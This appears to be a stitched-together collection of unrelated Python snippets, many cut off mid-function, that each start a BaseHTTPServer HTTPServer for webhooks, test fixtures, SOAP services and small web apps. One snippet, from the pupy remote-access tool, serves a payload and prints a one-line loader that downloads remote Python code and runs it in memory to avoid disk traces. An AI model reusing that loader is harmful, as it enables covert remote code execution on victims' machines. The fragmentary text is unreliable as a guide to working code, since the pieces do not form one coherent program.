def wait_login(callback=None): global session_key server = HTTPServer(('localhost', 26504), LoginServer) while session_key == None: server.handle_request() callback(session_key)
def main(): try: server = None for arg in sys.argv: if(arg == '-d' or arg == '--daemon-mode'): GitAutoDeploy.daemon = True GitAutoDeploy.quiet = True if(arg == '-q' or arg == '--quiet'): GitAutoDeploy.quiet = True if(GitAutoDeploy.daemon): pid = os.fork() if(pid != 0): sys.exit() os.setsid() if(not GitAutoDeploy.quiet): print 'Github Autodeploy Service v0.2 started' else: print 'Github Autodeploy Service v 0.2 started in daemon mode' server = HTTPServer(('', GitAutoDeploy.getConfig()['port']), GitAutoDeploy) server.serve_forever() except (KeyboardInterrupt, SystemExit) as e: if(e): print >> sys.stderr, e if(not server is None): server.socket.close() if(not GitAutoDeploy.quiet): print 'Goodbye'
def serve(address, document_root): os.chdir(document_root) logging.info('Using document-root: %s', document_root) httpd = HTTPServer(address, SimpleHTTPRequestHandler) sa = httpd.socket.getsockname() logging.info("Serving HTTP on %s:%s ..." %(sa[0], sa[1])) httpd.serve_forever()
def __init__(self, server_address, RequestHandlerClass, servernumber, bind_and_activate=True): HTTPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate=bind_and_activate) self.log = util.getLogger() self.servernumber = servernumber self.cloudiness_cache = {} self.cloudiness_cache_misses = 0 self.cloudiness_cache_hits = 0 self.image_cache = {} self.image_cache_size = 0 self._cpu_usage = 0.0 self._cpu_prev_idle = 0.0 self._cpu_prev_total = 0.0 self._cpu_usage_last_100_samples = [] # Shared object is expected to reside in lib/libcloudiness.so LIB_FILENAME = "libcloudiness.so" LIBPATH = os.path.join(constants.ROOT_DIR, "lib", LIB_FILENAME) # Load the shared object. This object has been compiled with some # particular flags. Look at the Makefile accompanying it. self.libcloudiness = ctypes.cdll.LoadLibrary(LIBPATH) # This is one of the functions declared in the library self.calc_cloudiness = self.libcloudiness.calc_cloudiness self.calc_cloudiness.restype = ctypes.c_double
def main(): try: server = HTTPServer(('', 8080), RequestHandler) print 'Test server running...' server.serve_forever() except KeyboardInterrupt: server.socket.close()
def AsServer(port=80, modules=None, docstyle=1, **kw): """ Run as a server """ address = ('', port) httpd = HTTPServer(address, SOAPRequestHandler) httpd.modules = modules httpd.docstyle = docstyle httpd.serve_forever()
def http_server(q): class MyRequestHandler(BaseHTTPRequestHandler): def do_POST(self): datas = self.rfile.read(int(self.headers['content-length'])) #datas = urllib.unquote(datas) datas = urllib.unquote_plus(datas) data = datas[5:] # datas example: data=zo #print 'got data from server-side HTTP', map(ord, data) ''' if data == 'newconnection': # q = Queue() p = Process(target=socks_server, args=(q,)) p.start() else: ''' q.put(data) self.send_response(200) try: server = HTTPServer(('', 8001), MyRequestHandler) print 'local-side HTTP serve at 8081' server.serve_forever() except KeyboardInterrupt: server.socket.close()
def __init__(self, *args, **kwargs): HTTPServer.__init__(self, *args, **kwargs) if configuration.daemon_conf['nossl']: proto = 'http' proto_port = 80 else: proto = 'https' proto_port = 443 if self.server_port != proto_port: self.base_url = ('%s://%s:%s/' % (proto, self.server_name, self.server_port)) else: self.base_url = '%s://%s/' % (proto, self.server_name,) # We serve from sub dir to ease targeted proxying self.server_base = 'openid' self.base_url += "%s/" % self.server_base self.openid = None self.approved = {} self.lastCheckIDRequest = {} # Add our own SReg fields to list of valid fields from sreg 1.1 spec for (key, val) in cert_field_map.items(): if not key in sreg.data_fields: sreg.data_fields[key] = key.replace('_', ' ').title() # print "DEBUG: sreg fields: %s" % sreg.data_fields for name in cert_field_names: cert_field_aliases[name] = [] for target in [i for i in cert_field_names if name != i]: if cert_field_map[name] == cert_field_map[target]: cert_field_aliases[name].append(target)
def main(): try: server = None for arg in sys.argv: if arg == '-d' or arg == '--daemon-mode': GitLabAutoDeploy.daemon = True GitLabAutoDeploy.quiet = True if arg == '-q' or arg == '--quiet': GitLabAutoDeploy.quiet = True if GitLabAutoDeploy.daemon: pid = os.fork() if pid != 0: sys.exit() os.setsid() if not GitLabAutoDeploy.quiet: print 'Github Autodeploy Service v0.2 started' else: print 'Github Autodeploy Service v 0.2 started in daemon mode' server = HTTPServer(('', GitLabAutoDeploy.getConfig()['port']), GitLabAutoDeploy) server.serve_forever() except (KeyboardInterrupt, SystemExit) as e: if e: # wtf, why is this creating a new line? print >> sys.stderr, e if not server is None: server.socket.close() if not GitLabAutoDeploy.quiet: print 'Goodbye'
def serve_payload(payload, ip="0.0.0.0", port=8080, link_ip="<your_ip>"): class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # Send the html message self.wfile.write(payload) return try: while True: try: server = HTTPServer((ip, port), PupyPayloadHTTPHandler) break except Exception as e: # [Errno 98] Adress already in use if e[0] == 98: port+=1 else: raise print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :" print " --- " oneliner=colorize("python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'"%(link_ip, port), "green") print oneliner print " --- " print colorize("[+] ","green")+'Started http server on %s:%s '%(ip, port) print colorize("[+] ","green")+'waiting for a connection ...' server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.socket.close() exit()
def main(): try: server = HTTPServer(('', 8080), MyHandler) server.serve_forever() except KeyboardInterrupt: print '^C received, shutting down server' server.socket.close()
def main(): try: server = None for arg in sys.argv: if(arg == '-d' or arg == '--daemon-mode'): GitAutoDeploy.daemon = True GitAutoDeploy.quiet = True if(arg == '-q' or arg == '--quiet'): GitAutoDeploy.quiet = True if(GitAutoDeploy.daemon): pid = os.fork() if(pid != 0): sys.exit() os.setsid() port = GitAutoDeploy.getConfig()['port'] server = HTTPServer(('', port), GitAutoDeploy) GitAutoDeploy.log('Github Autodeploy Service start listen: %i' % port) server.serve_forever() except (KeyboardInterrupt, SystemExit) as e: GitAutoDeploy.log('stop') if(e): GitAutoDeploy.log(e) if(not server is None): server.socket.close()
def start(self): server = HTTPServer((self.address, self.port), self.cls) # TODO: Enable SSL # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # server.socket = ssl.wrap_socket (server.socket, certfile='/Users/davidg/server.pem', server_side=True) print('Starting Webhook, use <Ctrl-C> to stop') server.serve_forever()
def Run_SSL(cmdPipe, param): if not __name__ == '__main__': signal.signal(signal.SIGINT, signal.SIG_IGN) dinit(__name__, param) # init logging, WebServer process cfg_IP_WebServer = param['IP_self'] cfg_Port_SSL = param['CSettings'].getSetting('port_ssl') if param['CSettings'].getSetting('certfile').startswith('.'): # relative to current path cfg_certfile = sys.path[0] + sep + param['CSettings'].getSetting('certfile') else: # absolute path cfg_certfile = param['CSettings'].getSetting('certfile') try: certfile = open(cfg_certfile, 'r') except: dprint(__name__, 0, "Failed to access certificate: {0}", cfg_certfile) sys.exit(1) certfile.close() try: server = HTTPServer((cfg_IP_WebServer,int(cfg_Port_SSL)), MyHandler) server.socket = ssl.wrap_socket(server.socket, certfile=cfg_certfile, server_side=True) server.timeout = 1 except Exception, e: dprint(__name__, 0, "Failed to connect to HTTPS on {0} port {1}: {2}", cfg_IP_WebServer, cfg_Port_SSL, e) sys.exit(1)
def main(): try: if service_init() == False: _logger.error('service_init() Failed.') return global _mutex _mutex = threading.Lock() TimerTask() # SchedTask() #start http server server = HTTPServer(('', _httpport), MyRequestHandler) print 'started httpserver...' server.serve_forever() except KeyboardInterrupt: print 'Bye!' server.server_close() os._exit(0) except Exception, e: if _logger: _logger.exception('') else: fname = os.path.join(GetAppPath(), LOGFILENAME) logger = CreateLogger(fname) logger.exception('')
def main (): try: server = HTTPServer(('',int(baseConfig[1])), Handler) server.serve_forever() except Exception , e: server.socket.close() print e
def __init__(self, conffile=None, verbose=False, fork=False, start=False ): self.verbose = verbose self.fork = fork self.pidfile = None self.__config = None self.__password = None if not self.__configuration(conffile): print >>sys.stderr, "error: unable to read configuration" sys.exit(1) general = self.config['general'] addr = ( general['bind'], general['listen'] ) HTTPServer.__init__(self, addr, NotifyRequestHandler ) self.__queue = Queue.Queue(self.queue_size) self.__queue_thread = None self.__client = None self.__connected = False self.__tries = 0 self.__alive = False if start: self.start()
def __init__(self, server_address, services=[], RequestHandlerClass=SOAPRequestHandler): '''server_address -- RequestHandlerClass -- ''' HTTPServer.__init__(self, server_address, RequestHandlerClass) self._nodes = self.NodeTree() map(lambda s: self.setNode(s), services)
def __init__(self, server_address, RequestHandlerClass, db_conn_string, pckg_data, suppress_handler, db_version_info, manager): LOG.debug('Initializing HTTP server') self.www_root = pckg_data['www_root'] self.doc_root = pckg_data['doc_root'] self.checker_md_docs = pckg_data['checker_md_docs'] self.checker_md_docs_map = pckg_data['checker_md_docs_map'] self.suppress_handler = suppress_handler self.db_version_info = db_version_info self.__engine = database_handler.SQLServer.create_engine( db_conn_string) Session = scoped_session(sessionmaker()) Session.configure(bind=self.__engine) self.sc_session = Session self.manager = manager self.__request_handlers = ThreadPool(processes=10) HTTPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate=True)
def run(): parser = optparse.OptionParser(usage="usage: %prog [options] package_directory", version="%prog " + __version__) parser.add_option("-b", "--bind", dest="bind", default="0.0.0.0", type="str", help="address to bind to (default: %default)") parser.add_option("-p", "--port", dest="port", default=8000, type="int", help="port to listen on (default: %default)") opt, arg = parser.parse_args() if len(arg) != 1: parser.error("incorrect number of arguments") if not os.path.exists(os.path.join(arg[0], ".")): parser.error("invalid package_dir") try: sys.stderr.write("starting scrambled... [%s:%s]\n" % (opt.bind, opt.port,)) server = HTTPServer((opt.bind, opt.port), PyPIHandler) server.pkgdir = os.path.abspath(arg[0]) os.chdir(server.pkgdir) server.serve_forever() except KeyboardInterrupt: sys.stderr.write("scrambled shutting down...\n") server.socket.close()
class PasswordProtectedSiteTestCase(unittest.TestCase): def setUp(self): self.server = HTTPServer((support.HOST, 0), RobotHandler) self.t = threading.Thread( name='HTTPServer serving', target=self.server.serve_forever, # Short poll interval to make the test finish quickly. # Time between requests is short enough that we won't wake # up spuriously too many times. kwargs={'poll_interval':0.01}) self.t.daemon = True # In case this function raises. self.t.start() def tearDown(self): self.server.shutdown() self.t.join() self.server.server_close() def runTest(self): self.testPasswordProtectedSite() def testPasswordProtectedSite(self): addr = self.server.server_address url = 'http://' + support.HOST + ':' + str(addr[1]) robots_url = url + "/robots.txt" parser = robotparser.RobotFileParser() parser.set_url(url) parser.read() self.assertFalse(parser.can_fetch("*", robots_url)) def __str__(self): return '%s' % self.__class__.__name__
def run(self): try: server = HTTPServer(('', PORT_NUMBER), PushHandler) server.serve_forever() except KeyboardInterrupt: logger.info('^C received, shutting down the web server') server.socket.close()
def Run(cmdQueue): #Protocol = "HTTP/1.0" # todo: IP, port try: server = HTTPServer(('',80), MyHandler) server.timeout = 1 sa = server.socket.getsockname() dprint(__name__, 0, "***") dprint(__name__, 0, "WebServer: Serving HTTP on {} port {}.", sa[0], sa[1]) dprint(__name__, 0, "***") while True: # check command try: # check command cmd = cmdQueue.get_nowait() if cmd=='shutdown': break except Queue.Empty: pass # do your work (with timeout) server.handle_request() except KeyboardInterrupt: dprint(__name__, 0,"^C received.") finally: dprint(__name__, 0, "Shutting down.") server.socket.close()
def __init__(self, host, port, app, handler=None, passthrough_errors=False, ssl_context=None, fd=None): if handler is None: handler = WSGIRequestHandler self.address_family = select_ip_version(host, port) if fd is not None: real_sock = socket.fromfd(fd, self.address_family, socket.SOCK_STREAM) port = 0 HTTPServer.__init__(self, (host, int(port)), handler) self.app = app self.passthrough_errors = passthrough_errors self.shutdown_signal = False self.host = host self.port = port # Patch in the original socket. if fd is not None: self.socket.close() self.socket = real_sock self.server_address = self.socket.getsockname() if ssl_context is not None: if isinstance(ssl_context, tuple): ssl_context = load_ssl_context(*ssl_context) if ssl_context == 'adhoc': ssl_context = generate_adhoc_ssl_context() self.socket = ssl_context.wrap_socket(self.socket, server_side=True) self.ssl_context = ssl_context else: self.ssl_context = None
class HTTPRemoteControl: def __init__(self, tvmaxe, **funcs): self.tvmaxe = tvmaxe self.chchannel = funcs['chchannel'] self.volume = funcs['volume'] self.mute = funcs['mute'] self.stop = funcs['stop'] self.channelinfo = funcs['channelinfo'] def start(self, port): threading.Thread(target=self.start_server, args=(port, )).start() def start_server(self, port): self.server = HTTPServer(('', port), MyHandler) self.server.tvmaxe = self.tvmaxe self.server.chlist = self.tvmaxe.getChannelList self.server.chchannel = self.chchannel self.server.volume = self.volume self.server.mute = self.mute self.server.stop = self.stop self.server.channelinfo = self.channelinfo self.server.lastChannel = None self.server.serve_forever() def stop(self): if hasattr(self, 'server'): self.server.socket.close()
def __init__(self, RequestHandlerClass): HTTPServer.__init__(self, None, RequestHandlerClass, False) self.requestHandler = RequestHandlerClass # TODO provide proper limit for this queue self.queue = TaskQueue(sys.maxint)
def __init__(self): GeneratedClass.__init__(self) # Paste this two lines of code, with the IP address and PORT number # that you will connect on iOS. server = HTTPServer(("localhost", 3001), NaoRequestHandler) server.serve_forever()
def main(argv = None): port = 55555 if argv is None: argv = sys.argv if len(argv) > 1: port = int(argv[1]) # Set up player global player_in global player_out proc = subprocess.Popen(PLAYER, stdin=subprocess.PIPE, stdout=subprocess.PIPE) player_in = proc.stdin player_out = proc.stdout player_in.write('uci\n') while player_out.readline().strip() != "uciok": pass try: server = HTTPServer(('', port), LeiserchessHandler) print 'Start Leiserchess at port ' + str(port) + '...' server.serve_forever() except KeyboardInterrupt: print '^C received, shutting down server' server.socket.close()
class HttpServer(object): ''' Mock HttpServer ''' def __init__(self): ModMockO = ModMock.ModMock() HTTPinfo = ModMockO.getRuncaseEnvironment_HTTP() self.host, self.port = HTTPinfo self.httpd_address = (self.host, self.port) def Start(self): ''' 启动 ''' try: self.Custom_httpd = HTTPServer(self.httpd_address, Custom_HTTPRequestHandler) #self.Custom_httpd = ThreadingTCPServer(self.httpd_address, Custom_HTTPRequestHandler) PrintLog('debug', '[%s] Http Server is Start Running %s:%s...', threading.currentThread().getName(), self.host, self.port) self.Custom_httpd.serve_forever() except KeyboardInterrupt as e: PrintLog('exception',e) self.Custom_httpd.shutdown except Exception as e: PrintLog('exception',e)
def https_server(ip, port=443): http_server = HTTPServer((ip, int(port)), RequestHandler) http_server.socket = ssl.wrap_socket (http_server.socket, keyfile=os.path.join(current_dir, 'server.key'), certfile=os.path.join(current_dir, 'local_cert.pem'), server_side=True) return http_server
def main(): from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler class myHandler(BaseHTTPRequestHandler): def do_GET(self): if re.match("/images/[bcdWDF][123456789eswnrgw]\.png", self.path): self.send_response(200) self.send_header('Content-Type', 'image/png') self.send_header('Cache-Control', 'max-age=86400, must-revalidate') self.end_headers() from os import curdir, sep filename = curdir + sep + self.path print filename f = open(curdir + sep + self.path, 'rb') self.wfile.write(f.read()) f.close() else: self.printCustomTextHTTPResponse(200) query_string = urllib.unquote_plus(self.path) path, query = urllib.splitquery(query_string) print query_string, path, query parameters = dict( urllib.splitvalue(v) for v in query.split("&")) if query else {} print parameters if 'sit' in parameters: situation = parameters['sit'] else: situation = None #else: #situation = query_string[1:] print "situation:", situation page = get_page(situation) self.wfile.write('<html>') self.wfile.write(page) self.wfile.write('</html>') def printBrowserHeaders(self): headers = self.headers.dict self.wfile.write("\n<ul>") for key, value in headers.items(): self.wfile.write("\n<li><b>" + key + "</b>: ") self.wfile.write(value + "\n</li>\n") self.wfile.write("</ul>\n") def printCustomTextHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-Type", "text/html") self.send_header('Cache-Control', 'no-cache') self.end_headers() def log_request(self, code='-', size='-'): user_agent = self.headers.dict['user-agent'] self.log_message('"%s" %s %s %s', self.requestline, str(code), str(size), user_agent) try: port = 8080 server = HTTPServer(('', port), myHandler) print 'Browse to http://localhost:%d/' % port while True: server.handle_request() #server.serve_forever() except KeyboardInterrupt: print '^C received, shutting down server' server.socket.close()
def run(): server_address = ('127.0.0.1', 80) http = HTTPServer(server_address, MyhttprequestHandler) http.serve_forever()
def run(): print('http server is starting...') server_address = ('0.0.0.0', 80) httpd = HTTPServer(server_address, DeltaBotHTTPRequestHandler) print('http server is running...') httpd.serve_forever()
print ("Wrong Path...") # Do something # Notice user that the path is wrong self.wfile.write("") if __name__ == '__main__': db = MySQLdb.connect(host="localhost", user="******", passwd="1234", db="CapstoneDesign") cur = db.cursor() # Cursor to execute queries. ''' To send SQL Queries Use this cur.execute("SELECT * FROM [MY_TALBE_NAME]") ''' # Server Connection Part server = HTTPServer((ADDR, PORT), MyHandler) print "Started WebServer on port", PORT print "Press ^C to quit..." server.serve_forever() # Activate the server
sleep(2) # Simulate slow page f = open(current) self.send_response(200) self.send_header('content-type', type) self.end_headers() filecontents = f.read() if self.method == 'POST': inputData = self.getInput().replace('<', '<') filecontents = filecontents.replace('{FORMDATA}', inputData) self.wfile.write(filecontents) f.close() except IOError: self.send_error(404, 'File not found: %s' % current) try: server = HTTPServer(('', PORT_NUMBER), ServerHandler) print 'Server is listening on port', PORT_NUMBER server.serve_forever() except KeyboardInterrupt: print '^C received, shutting down the web server' server.socket.close()
if self.path.endswith('.jpg'): mimetype = 'image/jpg' if self.path.endswith('.png'): mimetype = 'image/png' f = open("." + self.path) self.send_response(200) self.send_header('Content-type', mimetype) self.end_headers() # Send the html message self.wfile.write(f.read()) f.close() try: #Create a web server and define the handler to manage the #incoming request server = HTTPServer(("localhost", 8080), myHandler) print 'Started httpserver on port ', 8080 #thread.start_new_thread(updateClock, ()) server.serve_forever() except KeyboardInterrupt: print '^C received, shutting down the web server' server.socket.close()
mpath, margs = urllib.splitquery(self.path) datas = self.rfile.read(int(self.headers['content-length'])) self.do_action(mpath, datas) def do_action(self, path, args): self.outputtxt(path + args) self.send_sms(args) def outputtxt(self, content): #指定返回编码 enc = "UTF-8" content = content.encode(enc) self.send_response(200) def send_sms(self, args): post_str = urllib.unquote(args) post_dict = dict([x.split('=', 1) for x in post_str.split('&')]) #包含content和tos两部分 try: DingTalkRobot('https://oapi.dingtalk.com/robot/send', 'access_token').send_text_msg( "监控报警:" + post_dict['content'], False) except: logging.exception("监控报警:" + post_dict['content']) print 'server is running....' server = HTTPServer(addr, Servers) server.serve_forever()
def __init__(self, *args, **kw): HTTPServer.__init__(self, *args, **kw)
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer host = os.getenv('HOST', '0.0.0.0') port = int(os.getenv('PORT', 80)) #This class will handles any incoming request from #the browser class myHandler(BaseHTTPRequestHandler): #Handler for the GET requests def do_GET(self): self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # Send the html message self.wfile.write("Hello World !") return try: #Create a web server and define the handler to manage the #incoming request server = HTTPServer((host, port), myHandler) print 'Started httpserver on port ' , port #Wait forever for incoming htto requests server.serve_forever() except KeyboardInterrupt: print '^C received, shutting down the web server' server.socket.close()
def __init__(self, host, port): ipadd = (host, port) HTTPServer.__init__(self, ipadd, Req)
class Handler(object): """ cx_Freeze's style Windows service """ # no parameters are permitted; all configuration should be placed in the # configuration file and handled in the Initialize() method def __init__(self): self.stopEvent = threading.Event() self.stopRequestedEvent = threading.Event() # called when the service is starting def Initialize(self, configFileName): from Logging import mainlog, horse_dir, init_logging init_logging('web_server.log') mainlog.info("Horse dir : {}".format(horse_dir)) try: from Configurator import load_configuration, configuration, resource_dir mainlog.info("Resource dir : {}".format(resource_dir)) load_configuration("server.cfg", "server_config_check.cfg") mainlog.info("configuration loaded") from koi.http_handler import HorseHTTPHandler p = int(configuration.get("DownloadSite", "port")) mainlog.info("Listening on port {}".format(p)) self.server = HTTPServer(('', p), HorseHTTPHandler) except Exception as ex: mainlog.exception(ex) raise ex # called when the service is starting immediately after Initialize() # use this to perform the work of the service; don't forget to set or check # for the stop event or the service GUI will not respond to requests to # stop the service def Run(self): from Logging import mainlog mainlog.info("Running service") # All of this to make sure the service remains # stoppable whatever happens while True: try: # serve_forever will be interrupted by server.shutdown # when Windows' Service Manager will call the # Stop method. # I set the poll interval because I think # Python's default is too high self.server.serve_forever(poll_interval=1) # Warn the Stop method that we have # acknowledged the stop request self.stopEvent.set() except Exception as ex: # Make sure the service restarts if something # went wrong mainlog.error(str(ex)) pass # called when the service is being stopped by the service manager GUI def Stop(self): from Logging import mainlog mainlog.info("Service shut down requested") self.server.shutdown() # stop the server_forever loop self.stopRequestedEvent.set() # not really necessary self.stopEvent.wait() # will be set when leaving self.Run() mainlog.info("Service shut down acknowledged")
self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): self._set_headers() self.wfile.write("<html><body><h1>hi!</h1></body></html>") def do_HEAD(self): self._set_headers() def do_POST(self): self._set_headers() self.wfile.write("<html><body><h1>POST!</h1></body></html>") filenameParser = re.compile(r'file\=([a-zA-Z0-9\-\_\%\.\/]+)') jsonParser = re.compile(r'program\=(\[\{[\S]+\}\])') filename_match = filenameParser.search(self.path) json_match = jsonParser.search(self.path) if filename_match is not None and json_match is not None: filename = filename_match.group(1) json = convertHex(json_match.group(1)) if len(filename) > 0 and len(json) > 0: with open(filename, 'w') as outfile: print >> outfile, json.strip() server_address = ('', 8000) httpd = HTTPServer(server_address, MyHTTPRequestHandler) print 'Starting httpd...' httpd.serve_forever()
def run(self): print "start crawler ..." self.rs.incr('times') self._flush_redis_if_needed() for http_query in self.http_querys: urls = self._parse_html_to_urls(http_query['host'], http_query['url'], http_query['headers'], http_query['href']) self._put_urls_into_redis(urls) print "finish crawler ..." if __name__ == '__main__': crawler = Crawler() crawler.run() sched = Scheduler() sched.start() sched.add_interval_job(crawler.run, hours=CRAWLER_FREQUENCE_HOURS) try: print "start server ..." server = HTTPServer((HOST_NAME, PORT_NUMBER), HttpHandler) server.serve_forever() except KeyboardInterrupt: print "finish server ..." server.socket.close()
}) # Begin the response self.send_response(200) self.end_headers() self.wfile.write('Client: %s\n' % str(self.client_address)) self.wfile.write('User-agent: %s\n' % str(self.headers['user-agent'])) self.wfile.write('Path: %s\n' % self.path) self.wfile.write('Form data:\n') # Echo back information about what was posted in the form for field in form.keys(): field_item = form[field] if field_item.filename: # The field contains an uploaded file file_data = field_item.file.read() file_len = len(file_data) del file_data self.wfile.write('\tUploaded %s as "%s" (%d bytes)\n' % \ (field, field_item.filename, file_len)) else: # Regular form value self.wfile.write('\t%s=%s\n' % (field, form[field].value)) return if __name__ == '__main__': from BaseHTTPServer import HTTPServer server = HTTPServer(('localhost', 8080), PostHandler) print 'Starting server, use <Ctrl-C> to stop' server.serve_forever()
out = '<div style="text-align: center; font-family: \'arial\';">' try: # Access the 'message' variable from data (name in form) f = data['message'] out += '<p>' + ''.join(f) + '</p>' out += '<a href="/fruity.html">New Message?</a>' except Exception as e: out += '<p>Cannot make sense of the submitted form.</p>' out += '<a href="/fruity.html">Fix it!</a>' out += '</div>' self.wfile.write(out) if __name__ == '__main__': try: # Create a web server and define our handler to manage the # incoming request server = HTTPServer(('', PORT_NUMBER), SimpleHttpPostHandler) print('Started httpserver on port ', PORT_NUMBER) #Wait forever for incoming http requests server.serve_forever() except KeyboardInterrupt: print('^C received, shutting down the web server') server.socket.close()
def __init__(self): GenericProtocolHandler.__init__(self) self.httpd = HTTPServer(('localhost', 0), HTTPRequestHandler) self.redirect = 'http://localhost:%d/auth' % self.httpd.server_port self.thread = None
return ingress START_SCRIPT = ''' # get curl apk update && apk add curl # go to data dir cd /usr/share/nginx/html # fetch original curl -Lo wigm.gif "$GIF_SOURCE_LINK" # write page using heredoc cat > index.html <<EOF <head> <title>WIGM: $GIF_NAME</title> </head> <body> <h1>WIGM: $GIF_NAME</h1> <img src="wigm.gif" /> </body> EOF # start nginx exec nginx -g "daemon off;" ''' HTTPServer(("", 80), Controller).serve_forever()
self.wfile.write(message) def do_POST(self): """Add a new todo Only json data is supported, otherwise send a 415 response back. Append new todo to class variable, and it will be displayed in following get request """ ctype, pdict = cgi.parse_header(self.headers['content-type']) if ctype == 'application/json': length = int(self.headers['content-length']) post_values = json.loads(self.rfile.read(length)) self.TODOS.append(post_values) else: self.send_error(415, "Only json data is supported.") return self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(post_values) if __name__ == '__main__': from BaseHTTPServer import HTTPServer server = HTTPServer(('localhost', 8888), TodoHandler) print("Starting server, use <Ctrl-C> to stop") server.serve_forever()
def shutdown(self): """ Override MRO to shutdown properly. """ self.socket.close() HTTPServer.shutdown(self)
def main(): # Command line arguments. Use a port > 1024 by default so that we can run # without sudo, for use as a real server you need to use port 80. parser = argparse.ArgumentParser() parser.add_argument('--port', '-p', default=2080, type=int, help='Port to use') args = parser.parse_args() # Create the server socket (to handle tcp requests using ipv4), make sure # it is always closed by using with statement. #with Socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: # COMPLETE (1) #ss = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # The socket stays connected even after this script ends. So in order # to allow the immediate reuse of the socket (so that we can kill and # re-run the server while debugging) we set the following option. This # is potentially dangerous in real code: in rare cases you may get junk # data arriving at the socket. #ss.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # COMPLETE (2) endpoint = ('', args.port) # COMPLETE (3) #ss.bind(endpoint) #ss.listen(5) #print("server ready") '''while True: cs = ss.accept()[0] request = cs.recv(1024).decode('ascii') reply = http_handle(request) cs.send(reply.encode('ascii')) print reply print request print("\n\nReceived request") print("======================") --- USE LAS LIBRERIAS BaseHTTPServer PARA MI SOLUCION --- print(request.rstrip()) print("======================") print("\n\nReplied with") print("======================") print(reply.rstrip()) print("======================") return 0''' try: # Instancio el servidor web y defino el manejador # que se encargara de manejar los HTTP request server = HTTPServer(endpoint, http_handle) print 'Servidor HTTP iniciado en el puerto ', args.port print 'Nota: solo existen 3 archivos en el servidor: /index.html, img_test.jpg y /gif_test.gif' # Le digo al servidor que espere siempre por HTTP requests server.serve_forever() # Si uso la tecla Ctrl + C, cerrara la conexion del servidor except KeyboardInterrupt: print '^C received, shutting down the web server' server.socket.close()
def finish_request(self, *args, **kwargs): HTTPServer.finish_request(self, *args, **kwargs)
def start_http_server(port): httpd = HTTPServer(('', port), CGIHTTPRequestHandler) thread.start_new_thread(httpd.serve_forever, ())
def start_mock_server(port): mock_server = HTTPServer(('localhost', port), MockServerRequestHandler) mock_server_thread = Thread(target=mock_server.serve_forever) mock_server_thread.setDaemon(True) mock_server_thread.start()
def close_request(self, request): HTTPServer.close_request(self, request) request.close() del request
#!/usr/bin/python # 先执行 python main.py 然后运行ggbot 会收到login msg contact 的消息推送 from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer class WebhookHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) # <--- Gets the size of data post_data = self.rfile.read(content_length) # <--- Gets the data itself print self.path print post_data #Create a web server and define the handler to manage the #incoming request server = HTTPServer(('', 3288), WebhookHandler) print 'Started httpserver on port 3288' #Wait forever for incoming htto requests server.serve_forever()
def __init__(self): HTTPServer.__init__( self, (Path.web_server_address, int(Path.web_server_port)), UmitRequestHandler) UmitWebServer.currentInstance = self
def _run_eskytester(self, options): """Build and run the eskytester app using the given distutils options. The "eskytester" application can be found next to this file, and the sequence of tests performed range across "script1.py" to "script3.py". """ olddir = os.path.abspath(os.curdir) # tdir = os.path.join(os.path.dirname(__file__),"DIST") # if os.path.exists(tdir): # really_rmtree(tdir) # os.mkdir(tdir) tdir = tempfile.mkdtemp() server = None script2 = None try: options.setdefault("build", {})["build_base"] = os.path.join(tdir, "build") options.setdefault("bdist", {})["dist_dir"] = os.path.join(tdir, "dist") # Set some callbacks to test that they work correctly options.setdefault("bdist_esky", {}).setdefault( "pre_freeze_callback", "esky.tests.test_esky.assert_freezedir_exists") options.setdefault("bdist_esky", {}).setdefault("pre_zip_callback", assert_freezedir_exists) platform = get_platform() deploydir = "deploy.%s" % (platform, ) esky_root = dirname(dirname(dirname(__file__))) os.chdir(tdir) shutil.copytree( os.path.join(esky_root, "esky", "tests", "eskytester"), "eskytester") dir_util._path_created.clear() # Build three increasing versions of the test package. # Version 0.2 will include a bundled MSVCRT on win32. # Version 0.3 will be distributed as a patch. metadata = dict( name="eskytester", packages=["eskytester"], author="rfk", description="the esky test package", data_files=[("data", ["eskytester/datafile.txt"])], package_data={"eskytester": ["pkgdata.txt"]}, ) options2 = options.copy() options2["bdist_esky"] = options["bdist_esky"].copy() options2["bdist_esky"]["bundle_msvcrt"] = True script1 = "eskytester/script1.py" script2 = Executable([None, open("eskytester/script2.py")], name="script2") script3 = "eskytester/script3.py" dist_setup(version="0.1", scripts=[script1], options=options, script_args=["bdist_esky"], **metadata) dist_setup(version="0.2", scripts=[script1, script2], options=options2, script_args=["bdist_esky"], **metadata) dist_setup(version="0.3", scripts=[script2, script3], options=options, script_args=["bdist_esky_patch"], **metadata) os.unlink( os.path.join(tdir, "dist", "eskytester-0.3.%s.zip" % (platform, ))) # Check that the patches apply cleanly uzdir = os.path.join(tdir, "unzip") deep_extract_zipfile( os.path.join(tdir, "dist", "eskytester-0.1.%s.zip" % (platform, )), uzdir) with open( os.path.join( tdir, "dist", "eskytester-0.3.%s.from-0.1.patch" % (platform, )), "rb") as f: esky.patch.apply_patch(uzdir, f) really_rmtree(uzdir) deep_extract_zipfile( os.path.join(tdir, "dist", "eskytester-0.2.%s.zip" % (platform, )), uzdir) with open( os.path.join( tdir, "dist", "eskytester-0.3.%s.from-0.2.patch" % (platform, )), "rb") as f: esky.patch.apply_patch(uzdir, f) really_rmtree(uzdir) # Serve the updates at http://localhost:8000/dist/ print "running local update server" server = HTTPServer(("localhost", 8000), SimpleHTTPRequestHandler) server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() # Set up the deployed esky environment for the initial version zfname = 